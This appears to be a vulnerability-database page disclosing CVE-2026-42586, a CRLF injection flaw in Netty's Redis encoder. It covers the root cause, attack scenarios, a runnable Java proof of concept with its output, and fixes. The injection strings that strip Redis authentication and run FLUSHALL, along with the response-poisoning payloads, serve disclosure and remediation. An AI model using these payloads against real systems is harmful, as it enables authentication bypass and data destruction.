Skip to main content

Netty Redis Codec CVE-2026-42586

MEDIUM
Improper Neutralization of CRLF Sequences ('CRLF Injection') (CWE-93)
2026-05-07 https://github.com/netty/netty GHSA-rgrr-p7gp-5xj7
6.8
CVSS 3.1
Share

CVSS VectorNVD

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 07, 2026 - 00:46 vuln.today
Analysis Generated
May 07, 2026 - 00:46 vuln.today
CVE Published
May 07, 2026 - 00:24 nvd
MEDIUM 6.8

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 maven packages depend on io.netty:netty-codec-redis (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.2.0.Alpha1.

DescriptionNVD

Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder

1. Vulnerability Summary

FieldValue
ProductNetty
Version4.2.12.Final (and all prior versions with codec-redis)
Componentio.netty.handler.codec.redis.RedisEncoder
Vulnerability TypeCWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection)
ImpactRedis Command Injection / Response Poisoning
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
Confidentiality ImpactHigh
Integrity ImpactHigh
Availability ImpactNone

2. Affected Components

The following classes in the codec-redis module are affected:

  • io.netty.handler.codec.redis.RedisEncoder (encoder - no output validation)
  • io.netty.handler.codec.redis.InlineCommandRedisMessage (no input validation)
  • io.netty.handler.codec.redis.SimpleStringRedisMessage (no input validation)
  • io.netty.handler.codec.redis.ErrorRedisMessage (no input validation)
  • io.netty.handler.codec.redis.AbstractStringRedisMessage (base class - no validation)

3. Vulnerability Description

The Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.

Root Cause

In RedisEncoder.java, the writeString() method (lines 103-111) writes content using ByteBufUtil.writeUtf8() without any validation:

java
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +
                                     RedisConstants.EOL_LENGTH);
    type.writeTo(buf);
    ByteBufUtil.writeUtf8(buf, content);       // <-- NO CRLF VALIDATION
    buf.writeShort(RedisConstants.EOL_SHORT);   // <-- Appends \r\n
    out.add(buf);
}

The message constructors (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) inherit from AbstractStringRedisMessage, which only checks for null:

java
// AbstractStringRedisMessage.java:30-32
AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    // NO CRLF validation
}

Comparison with Similar Fixed CVEs

This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:

CVEComponentFix
GHSA-jq43-27x9-3v86SmtpRequestEncoder - SMTP command injectionAdded SmtpUtils.validateSMTPParameters() to check for \r and \n
GHSA-84h7-rjj3-6jx4HttpRequestEncoder - CRLF in URIAdded HttpUtil.validateRequestLineTokens() to check for \r, \n, and SP

The Redis codec has no equivalent validation in either the encoder or the message constructors.

4. Exploitability Prerequisites

This vulnerability is exploitable when all of the following conditions are met:

  1. The application uses Netty's codec-redis module to communicate with a Redis server
  2. User-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content
  3. The application does not perform its own CRLF sanitization before constructing these message objects

Important context: Most production Redis clients built on Netty use the RESP array format (ArrayRedisMessage + BulkStringRedisMessage), which uses binary-safe length-prefixed encoding and is not affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.

Affected use cases include:

  • Custom Redis clients or proxies that use InlineCommandRedisMessage for simplicity
  • Redis middleware/proxy layers that forward SimpleStringRedisMessage or ErrorRedisMessage responses
  • Applications that construct Redis monitoring or diagnostic commands from user input
  • Redis Sentinel or Cluster management tools using inline command format

5. Attack Scenarios

Scenario 1: Redis Command Injection via Inline Commands

When Netty is used as a Redis client or proxy, and user-controlled data is placed into InlineCommandRedisMessage, an attacker can inject arbitrary Redis commands:

java
// Application code that builds Redis commands from user input
String userKey = request.getParameter("key");  // Attacker controls this
InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey);
channel.writeAndFlush(msg);

Attack input: key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"

Result: Three commands sent to Redis:

  1. GET foo
  2. CONFIG SET requirepass "" (removes authentication!)
  3. FLUSHALL (deletes all data!)

Scenario 2: Redis Response Poisoning

When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:

java
// Proxy forwarding a simple string response
SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);
downstreamChannel.writeAndFlush(response);

Malicious upstream response: "OK\r\n$6\r\nhacked"

Client sees:

  1. Simple String: +OK (expected response)
  2. Bulk String: $6\r\nhacked (injected fake data!)

Scenario 3: Error Message Injection

java
ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);

Attack input: errorDetail = "unknown\r\n+FAKE_SUCCESS"

Client sees:

  1. Error: -ERR unknown
  2. Simple String: +FAKE_SUCCESS (injected fake success!)

6. Proof of Concept

Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)

java
import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;

import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;

/**
 * PoC: Redis Encoder CRLF Injection Vulnerability
 *
 * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
 * and ErrorRedisMessage do not validate content for CRLF characters,
 * allowing Redis command injection via the RESP protocol.
 */
public class RedisEncoderCRLFInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");

        testInlineCommandInjection();
        testSimpleStringInjection();
        testErrorMessageInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: Inline Command Injection
     * An attacker-controlled string injected into InlineCommandRedisMessage
     * results in multiple Redis commands being sent.
     */
    static void testInlineCommandInjection() {
        System.out.println("[TEST 1] Inline Command CRLF Injection");
        System.out.println("----------------------------------------");

        // Malicious content: inject FLUSHALL after a benign PING
        String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        // This should be rejected but is accepted
        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   InlineCommandRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // Count how many CRLF-delimited commands are in the output
        String[] commands = encoded.split("\r\n");
        System.out.println("Number of commands parsed by Redis: " + commands.length);
        for (int i = 0; i < commands.length; i++) {
            if (!commands[i].isEmpty()) {
                System.out.println("  Command " + (i + 1) + ": " + commands[i]);
            }
        }

        boolean vulnerable = commands.length > 1;
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
        System.out.println();
    }

    /**
     * Test 2: SimpleString Response Injection
     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString
     * can inject fake responses to the downstream client.
     */
    static void testSimpleStringInjection() {
        System.out.println("[TEST 2] SimpleString Response CRLF Injection");
        System.out.println("----------------------------------------------");

        // Malicious content: inject a fake bulk string response after OK
        String maliciousContent = "OK\r\n$6\r\nhacked";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   SimpleStringRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // The RESP protocol uses the first byte to determine type:
        // '+' = Simple String, '$' = Bulk String
        // A client parsing this would see:
        // 1. "+OK\r\n"       -> Simple String "OK"
        // 2. "$6\r\nhacked"  -> Bulk String "hacked" (injected!)
        boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
        System.out.println();
    }

    /**
     * Test 3: Error Message Injection
     * Similar to SimpleString but with error messages.
     */
    static void testErrorMessageInjection() {
        System.out.println("[TEST 3] Error Message CRLF Injection");
        System.out.println("--------------------------------------");

        String maliciousContent = "ERR unknown\r\n+INJECTED_OK";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   ErrorRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
        System.out.println();
    }
}

How to Compile and Run

bash
# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \
  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java
java -cp "$JARS:." RedisEncoderCRLFInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty Redis Encoder CRLF Injection PoC ===

[TEST 1] Inline Command CRLF Injection
----------------------------------------
Input:   InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL")
Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n"
Number of commands parsed by Redis: 3
  Command 1: PING
  Command 2: CONFIG SET requirepass ""
  Command 3: FLUSHALL
VULNERABLE: YES - Multiple commands injected!

[TEST 2] SimpleString Response CRLF Injection
----------------------------------------------
Input:   SimpleStringRedisMessage("OK\r\n$6\r\nhacked")
Encoded: "+OK\r\n$6\r\nhacked\r\n"
VULNERABLE: YES - Response poisoning possible!

[TEST 3] Error Message CRLF Injection
--------------------------------------
Input:   ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK")
Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n"
VULNERABLE: YES - Error + fake OK injected!


=== PoC Complete ===

7. Impact Analysis

Impact CategoryDescription
ConfidentialityHIGH - Attacker can execute CONFIG GET to extract sensitive Redis configuration, use KEYS * to enumerate all data
IntegrityHIGH - Attacker can execute SET/DEL/FLUSHALL to modify or destroy data, CONFIG SET to change server configuration
AvailabilityCan be HIGH - FLUSHALL destroys all data, SHUTDOWN stops the server, DEBUG SLEEP causes DoS
Authentication BypassCONFIG SET requirepass "" removes authentication
Data ExfiltrationLua scripting via EVAL enables complex data extraction

8. Remediation Recommendations

Option 1: Validate in Message Constructors (Recommended)

Add CRLF validation to AbstractStringRedisMessage:

java
AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    validateContent(content);
}

private static void validateContent(String content) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new IllegalArgumentException(
                "Redis message content contains illegal CRLF character at index " + i);
        }
    }
}

Option 2: Validate in Encoder (Defense-in-Depth)

Add validation in RedisEncoder.writeString():

java
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new RedisCodecException(
                "Redis message content contains CRLF at index " + i);
        }
    }
    // ... existing encoding logic
}

Option 3: Both (Best Practice)

Apply validation in both the constructor and the encoder, following the pattern used for SMTP:

  • SmtpUtils.validateSMTPParameters() validates in DefaultSmtpRequest constructor
  • This provides defense-in-depth against custom SmtpRequest implementations

9. Resources

AnalysisAI

CRLF injection in Netty's RedisEncoder allows remote command injection and response poisoning by injecting carriage return and line feed characters into InlineCommandRedisMessage, SimpleStringRedisMessage, and ErrorRedisMessage objects. Attackers can inject arbitrary Redis commands (such as CONFIG SET, FLUSHALL, or authentication bypass) or forge fake responses when user-controlled input is placed into these message types without sanitization. …

Sign in for full analysis, threat intelligence, and remediation guidance.

Vendor StatusVendor

Share

CVE-2026-42586 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy